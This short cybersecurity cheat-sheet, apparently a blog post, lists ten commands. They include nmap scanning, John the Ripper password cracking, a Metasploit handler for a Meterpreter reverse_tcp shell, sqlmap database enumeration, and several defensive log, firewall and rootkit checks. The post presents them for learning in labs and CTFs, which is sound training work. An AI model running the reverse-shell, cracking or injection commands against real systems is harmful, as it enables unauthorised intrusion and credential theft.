You Should Know:
Essential Cybersecurity Commands & Practices
1. Network Scanning with Nmap
nmap -sV -A target_ip nmap -p 1-1000 target_ip
– -sV: Detects service versions.
– -A: Aggressive scan (OS detection, script scanning).
**2. Password Cracking with John the Ripper**
john --wordlist=/usr/share/wordlists/rockyou.txt hashed_passwords.txt
– Use strong wordlists for better results.
**3. Metasploit Framework Basics**
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST your_ip set LPORT 4444 exploit
**4. Analyzing Logs with Grep (Linux)**
grep "Failed password" /var/log/auth.log
– Detect brute-force attacks on SSH.
**5. Windows Security Checks**
Get-NetTCPConnection | Where-Object {$_.State -eq "Established"}
– Lists active connections (useful for detecting malware).
**6. SQL Injection Testing with SQLmap**
sqlmap -u "http://example.com/page?id=1" --dbs
– `–dbs` lists available databases.
**7. Encrypting Files with OpenSSL**
openssl enc -aes-256-cbc -salt -in file.txt -out file.enc
– Decrypt with:
openssl enc -d -aes-256-cbc -in file.enc -out file.txt
**8. Detecting Rootkits with chkrootkit**
sudo chkrootkit
**9. Firewall Management (Linux)**
sudo ufw enable sudo ufw allow 22/tcp
**10. Windows Event Log Analysis**
Get-WinEvent -LogName Security -MaxEvents 50 | Format-List
### **What Undercode Say:**
Cybersecurity requires continuous learning and hands-on practice. These free courses provide a strong foundation, but real expertise comes from applying knowledge in labs, CTFs, and real-world scenarios. Always stay updated with new attack vectors and defensive techniques.
**Expected Output:**
- Improved cybersecurity skills.
- Hands-on experience with penetration testing tools.
- Better understanding of defensive mechanisms.
